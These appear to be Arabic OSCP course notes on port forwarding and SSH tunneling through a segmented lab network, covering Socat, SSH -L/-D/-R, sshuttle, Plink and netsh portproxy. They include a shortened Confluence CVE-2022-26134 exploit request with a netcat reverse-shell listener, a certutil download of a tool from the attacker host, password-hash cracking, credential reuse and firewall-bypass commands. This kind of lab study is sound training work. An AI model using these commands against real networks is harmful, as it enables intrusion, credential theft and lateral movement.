01ليه هذه التقنيات مهمة

الشبكات الـ Flat مقابل المقسَّمة

Flat Network (غير مقسَّمة)
  • كل جهاز يتواصل بحرية مع الآخرين
  • جهاز واحد مخترَق → المهاجم يصل لكل شيء
  • تُتجنَّب في المؤسسات الآمنة — تُعتبَر خطرًا كبيرًا
Segmented Network (مقسَّمة)
  • الشبكة مقسَّمة لمناطق معزولة (subnets / VLANs)
  • كل منطقة تحتوي أنظمة بوظيفة أو مستوى ثقة مماثل
  • التواصل بين المناطق مُتحكَّم فيه وفلتَر بصرامة

مناطق الشبكة الشائعة

المنطقةالوصفإمكانية الوصول
WANالإنترنت أو backbone مؤسسي كبير — حيث يعيش جهاز المهاجممتاح للجميع
DMZمنطقة شبه موثوقة — تستضيف سيرفرات عامة (ويب، بريد، DNS). معزولة عن الـ LAN الداخلي لتقليل تأثير الاختراقمحدود من WAN
Internal LANمنطقة مقيَّدة للغاية — قواعد بيانات، domain controllers، سيرفرات حساسة. غير قابلة للوصول من WAN أو DMZ بدون قواعد صريحةمن DMZ فقط بقواعد

ضوابط أمان تمنع الوصول المباشر

Port Forwarding مقابل Tunneling

Port Forwarding (إعادة توجيه)
  • جهاز بيستمع على بورت ويُعيد توجيه الترافيك لـ address:port آخر
  • بيجعل خدمة غير قابلة للوصول تظهر مباشرة من الخارج
  • فكّر فيها كـ: امتداد هاتف يُرنّ في غرفة أخرى
Tunneling
  • بتلفّ بروتوكول داخل بروتوكول آخر للمرور خلال الفلاتر خفيةً
  • مثال: ترافيك قاعدة بيانات مخفي داخل SSH مشفَّر
  • فكّر فيها كـ: رسالة داخل ظرف آخر
$ cat ./lu1_takeaways.txt

02Port Forwarding بـ Socat — CVE واستغلال Confluence

نظرة عامة على سيناريو اللاب

✎ الإعداد

ما لدينا: CONFLUENCE01 — سيرفر ويب مخترَق، قدم في WAN وقدم في DMZ | PGDATABASE01 — سيرفر PostgreSQL داخلي، قابل للوصول فقط من DMZ | Kali — في WAN، يمكنها الوصول لـ CONFLUENCE01 مباشرة

المشكلة: Kali لا تستطيع الوصول لـ PGDATABASE01 مباشرةً — تقسيم الشبكة يمنعها

الهدف: استخدام CONFLUENCE01 كـ pivot لتمرير الترافيك للـ DMZ

WAN DMZ Internal LAN Kali 192.168.50.x CONFLUENCE01 192.168.50.63 / 10.4.50.x PGDATABASE01 10.4.50.215 (not reachable) مباشر ✗
Kali → CONFLUENCE01 (WAN+DMZ) → PGDATABASE01 — الوصول المباشر محجوب بتقسيم الشبكة

الحصول على Shell — CVE-2022-26134

⬦ الثغرة

RCE حرج في Atlassian Confluence — بدون حاجة للتوثيق. يستغل OGNL injection في محرك معالجة التعبيرات. يسمح بتنفيذ كود Java عشوائي على السيرفر.

bash
# طلب HTTP مصاغ يستغل OGNL injection
curl -v http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29...

# Netcat listener على Kali لاستقبال الـ reverse shell
nc -lvnp 4444
# Shell يصل — صلاحيات محدودة لكن كافية للبدء

Enumeration بعد الاستغلال على CONFLUENCE01

  1. فحص واجهات الشبكة: يكشف إن الجهاز يمتلك واجهتَين — WAN وDMZ. جدول التوجيه يؤكد إمكانية التواصل مع الشبكتين.
  2. صيد بيانات الاعتماد: فحص ملفات إعداد التطبيق — Confluence بتخزّن بيانات الاعتماد في XML. نجد: IP لـ PGDATABASE01، اسم قاعدة البيانات، اسم المستخدم، والباسورد بنص واضح.
  3. تحديد العائق: لا يوجد psql client مثبَّت على CONFLUENCE01. Shell منخفض الصلاحيات لا يستطيع تثبيت حزم. الحل: port forward عبر CONFLUENCE01 حتى تتصل Kali مباشرةً.

ما هو Socat

⬦ Definition

Socat = SOcket CAT — نسخة متقدمة من Netcat. يعمل كليًا في user space — لا يحتاج root للبورتات غير المميَّزة. يدعم TCP، UDP، Unix sockets، SSL/TLS والمزيد. على عكس iptables، يعمل بدون تعديل قواعد الـ firewall.

قدرات رئيسية للـ pivoting: تمرير البورتات بين عناوين شبكة مختلفة، ترحيل الترافيك بين أنواع sockets مختلفة، معالجة اتصالات متعددة عبر fork.

Socat Port Forward — تفصيل الأمر

bash — على CONFLUENCE01
socat -ddd \
  TCP-LISTEN:2345,fork \
  TCP:10.4.50.215:5432

# -ddd       = verbose debug output
# TCP-LISTEN:2345 = استمع على بورت 2345
# fork       = معالجة اتصالات متعددة
# TCP:10.4.50.215:5432 = وجّه لـ PG01:5432
Kali: psql -p 2345→C01:2345 (Socat)→PG01:5432 (PostgreSQL)
bash — من Kali
psql -h 192.168.50.63 -p 2345 -U postgres
# نتصل بـ PGDATABASE01 وكأننا متصلون مباشرةً!

الانتقال لـ SSH عبر Socat

بعد كسر هاشات كلمات المرور من قاعدة البيانات، ممكن إعادة استخدام نفس بيانات الاعتماد على SSH في PGDATABASE01:

bash
# كسر الهاشات بـ Hashcat
hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt

# Forward جديد لـ SSH (بدل PostgreSQL)
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

# الاتصال عبر SSH من خلال النفق
ssh database_admin@192.168.50.63 -p 2222
# Shell على PGDATABASE01!
$ cat ./lu2_takeaways.txt

03SSH Tunneling — المقدمة والأنواع الثلاثة

ليه SSH مثالي للـ Tunneling

الأنواع الثلاثة للـ SSH Tunneling

النوعالـ Flagالاتجاهأفضل استخدام
Local Forwarding-Lجهازك → Pivot → داخليالوصول لخدمة داخلية محددة
Remote Forwarding-Rداخلي → Pivot → جهازكتجاوز حجب الـ firewall للاتصالات الواردة
Dynamic Forwarding-DSOCKS Proxy كامل (أي هدف)فحص وتصفّح كامل الشبكة الداخلية

متى تستخدم SSH بدل Socat

استخدم SSH Tunneling
  • عندك بيانات اعتماد SSH على جهاز الـ pivot
  • تحتاج تشفيرًا — الترافيك يجب ألا يكون مرئيًا لمراقبة الشبكة
  • لا تستطيع فتح بورتات جديدة للاستماع على الـ pivot
  • تريد الوصول لكثير من المضيفين الداخليين
  • لا تستطيع رفع أدوات خارجية — SSH موجود دائمًا
استخدم Socat
  • SSH غير متاح أو لا توجد بيانات اعتماد
  • تحتاج تمرير سريع وبسيط مع بروتوكولات غير عادية أو UDP
  • بيئات مقيَّدة جدًا حيث التعقيد غير مطلوب

04SSH Local · Dynamic · Remote · Remote Dynamic

SSH Local Port Forwarding (-L)

⬦ الفكرة

تفتح بورتًا على جهازك يتصل بشفافية بخدمة داخلية. كل الترافيك يسير مشفَّرًا عبر اتصال SSH لجهاز الـ pivot، الذي يتصل بالوجهة النهائية نيابةً عنك.

اتجاه الترافيك: جهازك → SSH Pivot → الهدف الداخلي | ميزة أساسية: لا بورتات جديدة تُفتَح على الـ pivot

✎ السيناريو

PGDATABASE01 يمكنها الوصول لشبكة أعمق (172.16.50.0/24). SMB server على 172.16.50.217 — غير قابل للوصول من Kali. الهدف: الوصول لـ SMB share مباشرةً من Kali عبر النفق.

bash — من CONFLUENCE01
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 \
  database_admin@10.4.50.215

# -N          = لا shell تفاعلي (فقط النفق)
# 0.0.0.0     = استمع على كل الواجهات
# 4455        = البورت المحلي على CONFLUENCE01
# 172.16.50.217:445 = الوجهة النهائية
Kali: smbclient -p 4455→C01:4455→ [SSH tunnel] →PG01→172.16.50.217:445
3 hops — تصفّح SMB server داخلي من Kali!
bash — من Kali
smbclient -p 4455 -L //192.168.50.63/ \
  -U hr_admin --password=Welcome1234

SSH Dynamic Port Forwarding (-D)

⬦ قيد -L والحل

كل -L forward يتصل بـ وجهة واحدة فقط — أمر واحد لكل خدمة. الـ Dynamic forwarding يحلّ هذا: ينشئ SOCKS proxy على جهازك — نفق واحد لـ أي وجهة. التطبيقات بتبعث الترافيك للبورت الـ SOCKS؛ SSH يوجّهه لأي مضيف داخلي. الوجهة تُحدَّد ديناميكيًا داخل كل طلب.

⬦ SOCKS وProxychains

SOCKS: بروتوكول proxy يُعيد توجيه الحزم لوجهتها. SOCKS4 = TCP فقط | SOCKS5 = TCP + UDP + توثيق | Proxychains: يُجبر التطبيقات التي لا تدعم SOCKS أصلًا على التوجيه عبر proxy. يعترض استدعاءات الشبكة في runtime. أضف proxychains قبل أي أمر لتنفيذه عبر النفق.

bash — من CONFLUENCE01
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
bash — Proxychains config + الاستخدام من Kali
# تعديل /etc/proxychains4.conf
# أضف:
socks5 192.168.50.63 9999

# فحص عبر الـ proxy
proxychains nmap -sT -Pn 172.16.50.217

# تصفح SMB
proxychains smbclient -L //172.16.50.217/ -U hr_admin

# تحميل ملف
proxychains smbclient //172.16.50.217/scripts -U hr_admin
smb: \> get Provisioning.ps1
ⓘ ملاحظة

Proxychains بيضيف latency — الفحوصات الكبيرة ستكون أبطأ. استخدم -sT (TCP connect scan) مع nmap بدل -sS (SYN scan) لأن Proxychains لا يدعم raw packets.

SSH Remote Port Forwarding (-R)

⬦ المشكلة التي يحلّها

الـ firewalls الصارمة تحجب كل الاتصالات من الخارج للـ pivot. لكن الاتصالات الصادرة من الـ pivot مسموحة (شائع في الشبكات المؤسسية). الـ Remote forwarding يستغل هذا التفاوت: الجهاز المخترَق يبدأ اتصال SSH خارجيًا لجهازك. بورت استماع يُنشَأ على جهازك. الترافيك المُرسَل لذلك البورت يُوجَّه عبر النفق للشبكة الداخلية.

✎ السيناريو

الـ Firewall يسمح فقط بـ TCP 8090 وارد لـ CONFLUENCE01. لا يمكن فتح بورتات جديدة للاتصالات الواردة من Kali. SSH الصادر من CONFLUENCE01 لـ Kali مسموح.

bash — من CONFLUENCE01 (خارجي لـ Kali)
# ابدأ SSH server على Kali أولًا
sudo systemctl start ssh

# من CONFLUENCE01 — اتصال خارجي لـ Kali
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 \
  kali@192.168.118.4

# -R = remote forward
# 127.0.0.1:2345 = البورت المفتوح على KALI
# 10.4.50.215:5432 = الوجهة النهائية
Kali: psql -h 127.0.0.1 -p 2345→Kali:2345 (SSH server)→ [reverse SSH] →C01→PG01:5432
✓ Firewall تجاوز — لا قاعدة inbound مطلوبة!

SSH Remote Dynamic Port Forwarding (-R SOCKS)

⬦ الدمج بين -R و-D

يجمع بين -R (نفق عكسي) و-D (SOCKS proxy). الـ -R العادي: اتصال واحد، وجهة واحدة — محدود للاستطلاع. الـ Remote Dynamic: SOCKS proxy على جهازك، التمرير يتم بواسطة الـ pivot. نفس مرونة -D، لكن يعمل خلال firewalls صارمة للاتصالات الواردة.

bash
# ابدأ SSH server على Kali
sudo systemctl start ssh

# من CONFLUENCE01 — Remote Dynamic
ssh -N -R 9998 kali@192.168.118.4
# -R مع بورت فقط = remote dynamic
# SOCKS proxy يُفتَح على Kali:9998

# أضف لـ /etc/proxychains4.conf
socks5 127.0.0.1 9998

# فحص عبر النفق من Kali
proxychains nmap -sT -Pn 10.4.50.64
# يكتشف: 80، 3306، 3389...

سلسلة الهجوم الحقيقية باستخدام الأنواع الثلاثة

الخطوةالتقنيةالهدف
1اختراق CONFLUENCE01الحصول على shell في المنطقة الوسطى (DMZ)
2-L Localوصول مباشر لقاعدة البيانات الداخلية لسرقة credentials
3كسر الهاشاتالحصول على باسوردات صالحة للتنقّل الجانبي
4-D Dynamicفحص الشبكة الداخلية كاملًا — إيجاد أهداف جديدة
5-R Remoteالحفاظ على وصول مستمر رغم الـ firewalls الصارمة
$ cat ./lu4_takeaways.txt

05sshuttle — Tunneling شبيه بالـ VPN

ما هو sshuttle

⬦ Definition

sshuttle بيحوّل اتصال SSH لنفق شبيه بالـ VPN. بدلًا من تمرير بورت واحد في كل مرة، يوجّه شبكات كاملة بشفافية. لا حاجة لإعداد SOCKS proxy أو Proxychains. التطبيقات تعمل عادي — لا تعرف إن الترافيك يُنفَّق.

المتطلبات: وصول SSH لمضيف pivot داخل الشبكة المستهدَفة | صلاحيات root على جهازك (يعدّل جداول التوجيه وiptables) | Python مثبَّت على المضيف البعيد | لا يحتاج تثبيت أي شيء على الـ pivot خلاف Python

bash
# الخطوة 1: إنشاء Socat forward على C01 لجعل SSH لـ PG01 قابلًا للوصول
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

# الخطوة 2: تشغيل sshuttle من Kali
sshuttle -r database_admin@192.168.50.63:2222 \
  10.4.50.0/24 172.16.50.0/24

# بعد هذا — لا إعداد per-port مطلوب!
smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
# لا proxychains، لا config إضافي!

sshuttle مقابل Proxychains + SSH -D

sshuttle
  • توجيه شفاف شبيه بالـ VPN
  • لا حاجة لإعداد proxy على مستوى التطبيق
  • كل الترافيك للـ subnet يُوجَّه تلقائيًا
  • يعمل مع أدوات لا تدعم SOCKS
  • يحتاج root على جهازك
  • يحتاج Python على الـ remote host
  • أكثر وضوحًا في logs الـ firewall
Proxychains + SSH -D
  • توجيه proxy على مستوى التطبيق
  • يجب إضافة proxychains قبل كل أمر
  • التطبيق يجب أن يدعم SOCKS أو يستخدم proxychains
  • أكثر خفاءً — أقل بصمة
  • لا يحتاج root على جهازك
  • لا أدوات إضافية على الـ remote host
  • أكثر مرونة للوصول المحدَّد
$ cat ./lu5_takeaways.txt

06Port Forwarding بأدوات Windows

Windows لديه OpenSSH مدمَج (منذ 2018)

Windows 10 April 2018 Update (v1803) يتضمّن OpenSSH client افتراضيًا. متاح في: C:\Windows\System32\OpenSSH\ — تشمل ssh.exe، scp.exe، sftp.exe. لا تثبيت مطلوب — تقنية "living off the land".

Windows OpenSSH — Remote Dynamic Pivot

✎ السيناريو

حصلنا على وصول RDP لـ MULTISERVER03 (Windows). الـ Firewall يسمح فقط بـ RDP وارد — كل اتصال وارد آخر محجوب. الاتصالات الصادرة مسموحة.

الاستراتيجية: استخدام ssh.exe من Windows لإنشاء نفق dynamic عكسي لـ Kali. SOCKS proxy يُفتَح على Kali — وجّه كل الأدوات عبره.

windows cmd
# التحقق من OpenSSH
where ssh
ssh -V

# ابدأ SSH server على Kali أولًا
# sudo systemctl start ssh

# من Windows CMD — Remote Dynamic
ssh -N -R 9998 kali@192.168.118.4
kali bash
# أضف لـ /etc/proxychains4.conf
socks5 127.0.0.1 9998

# الوصول لموارد داخلية عبر النفق
proxychains psql -h 10.4.50.215 -U postgres

Plink — SSH Tunneling بدون OpenSSH

⬦ ما هو Plink

واجهة command-line لـ PuTTY — واحد من أكثر SSH clients استخدامًا على Windows تاريخيًا. يوجَد في بيئات أزيل منها OpenSSH لأسباب سياسية. أقل احتمالًا لتشغيل AV — مرتبط بأدوات إدارة شرعية.

يدعم: Local وRemote port forwarding ✓ | لا يدعم: Remote Dynamic port forwarding ✗

✎ السيناريو

MULTISERVER03 — بورت 80 فقط مكشوف خارجيًا. اختُرق عبر web shell → reverse shell بـ Netcat. OpenSSH أُزيل — فقط Plink متاح. الهدف: تنفيذ RDP (بورت 3389) للخارج عبر SSH.

windows cmd
# تحميل Plink للجهاز المستهدَف
cd C:\Windows\Temp
certutil -urlcache -split -f http://KALI/plink.exe plink.exe

# إنشاء Remote Port Forward
# 'echo y' لتجاوز interactive host-key prompt في shell غير تفاعلي
cmd.exe /c echo y | plink.exe -ssh \
  -l kali -pw kalipassword \
  -R 127.0.0.1:9833:127.0.0.1:3389 \
  192.168.118.4
kali bash
# الاتصال عبر البورت المُعاد توجيهه
xfreerdp /u:rdp_admin /p:P@ssw0rd /v:127.0.0.1:9833
# RDP session عبر الـ firewall!

Netsh Portproxy — Port Forwarding أصيل من Windows

⬦ ما هو Netsh Portproxy

Netsh (Network Shell) مدمَج في كل إصدارات Windows. يستخدم ميزة portproxy لإنشاء قواعد port forwarding مستمرة. لا أدوات من جهات خارجية مطلوبة. يتطلّب: صلاحيات Administrator + قاعدة firewall منفصلة للسماح بالترافيك. يدعم TCP فقط (لا UDP). ميزة: مستمر ويبقى بعد إعادة التشغيل.

1
الدخول لـ MULTISERVER03 عبر RDP

فتح Command Prompt كـ Administrator

2
إنشاء قاعدة portproxy
cmd — admin
netsh interface portproxy add v4tov4 \
  listenport=2222 \
  listenaddress=192.168.50.64 \
  connectport=22 \
  connectaddress=10.4.50.215
3
التحقق من إنشاء القاعدة
cmd
netsh interface portproxy show all
netstat -anp TCP | find "2222"
4
إضافة قاعدة Windows Firewall
cmd — admin
netsh advfirewall firewall add rule \
  name="pf_ssh" protocol=TCP \
  dir=in localport=2222 action=allow
5
الاتصال من Kali
bash
ssh database_admin@192.168.50.64 -p 2222
# → يصل لـ PGDATABASE01:22 عبر MULTISERVER03!
6
التنظيف بعد انتهاء المهمة
cmd — admin
netsh advfirewall firewall delete rule name="pf_ssh"
netsh interface portproxy del v4tov4 \
  listenport=2222 listenaddress=192.168.50.64

مهم: دايمًا نظّف port forwards وقواعد الـ firewall بعد المهمة لتجنّب ترك backdoors دائمة.

$ cat ./lu6_takeaways.txt

Cheat Sheet مرجعي

مقارنة الأدوات السريعة

الأداةالمنصةالتشفيريحتاج Rootأنواع البروتوكول
SocatLinuxلا (بالافتراضي)لا (للبورتات >1024)TCP، UDP
SSH -L/-DLinux/WindowsنعملاTCP
SSH -RLinux/WindowsنعملاTCP
sshuttleLinuxنعمنعم (client)TCP
Netsh PortproxyWindowsلانعم (Admin)TCP فقط
PlinkWindowsنعملاTCP

SSH Tunneling — مرجع الأوامر

النوعالأمرملاحظة
Local (-L)ssh -N -L [bind:]LPORT:DEST:DPORT user@PIVOT0.0.0.0 للاستماع على كل الواجهات
Dynamic (-D)ssh -N -D [bind:]PORT user@PIVOTأضف socks5 PIVOT PORT لـ proxychains.conf
Remote (-R)ssh -N -R [bind:]PORT:DEST:DPORT user@KALIابدأ SSH server على Kali أولًا
Remote Dynamicssh -N -R PORT user@KALISOCKS proxy يُفتَح على Kali:PORT

Socat والأدوات الأخرى

bash
# Socat Port Forward الأساسي
socat -ddd TCP-LISTEN:LPORT,fork TCP:DEST_IP:DEST_PORT

# sshuttle — توجيه subnet كامل
sshuttle -r user@PIVOT:PORT SUBNET1 SUBNET2

# Netsh Portproxy (Windows — Admin)
netsh interface portproxy add v4tov4 \
  listenport=LPORT listenaddress=LOCAL_IP \
  connectport=DPORT connectaddress=DEST_IP

# Plink — Remote Port Forward (Windows)
cmd.exe /c echo y | plink.exe -ssh -l USER -pw PASS \
  -R 127.0.0.1:LPORT:127.0.0.1:DPORT KALI_IP

# Proxychains
proxychains nmap -sT -Pn TARGET
proxychains smbclient -L //TARGET/ -U USER

متى تختار ماذا — دليل سريع

الموقفالأداة الأنسب
Pivot بدون SSH credentials، TCP فقطSocat
وصول لخدمة داخلية محددة، SSH متاحSSH -L
فحص شبكة داخلية كاملة عبر pivotSSH -D + Proxychains
Firewall صارم للواردات، outbound مسموحSSH -R أو Remote Dynamic
الوصول لـ subnet كامل بدون proxychainssshuttle
Windows pivot، RDP فقط مكشوفOpenSSH -R أو Plink -R
Windows pivot، بدون tools رفعNetsh Portproxy + Firewall Rule

الخلاصة العامة للموديول

الشبكات المقسَّمة والـ firewalls تمنع الوصول المباشر — Port Forwarding والـ Tunneling أساسيَّان للتنقّل فيها. كل تقنية بتحلّ سيناريو مختلف، ودمجها معًا بيعطيك تحكّمًا كاملًا في الشبكة المقسَّمة من الخارج.

WAN DMZ Internal Deep Internal Kali 192.168.x.x CONFLUENCE01 WAN+DMZ pivot PGDATABASE01 10.4.50.215 SMB / RDP 172.16.50.x Socat/-L/-D SSH -L/-D -L SSH -R (outbound) Socat / sshuttle SSH credentials reuse 3-hop access via -L
خريطة الهجوم الكاملة — كل التقنيات المغطّاة في الموديول مدمجة معًا

القاعدة الذهبية: دايمًا نظّف الـ port forwards وقواعد الـ firewall وأي أدوات رفعتها بعد انتهاء المهمة. تركها خلفك يعني ترك backdoors دائمة قد يستغلّها مهاجم آخر أو تسبّب مشاكل لبيئة العميل.


نهاية نوتس الموديول السادس عشر — OSCP: Port Redirection & SSH Tunneling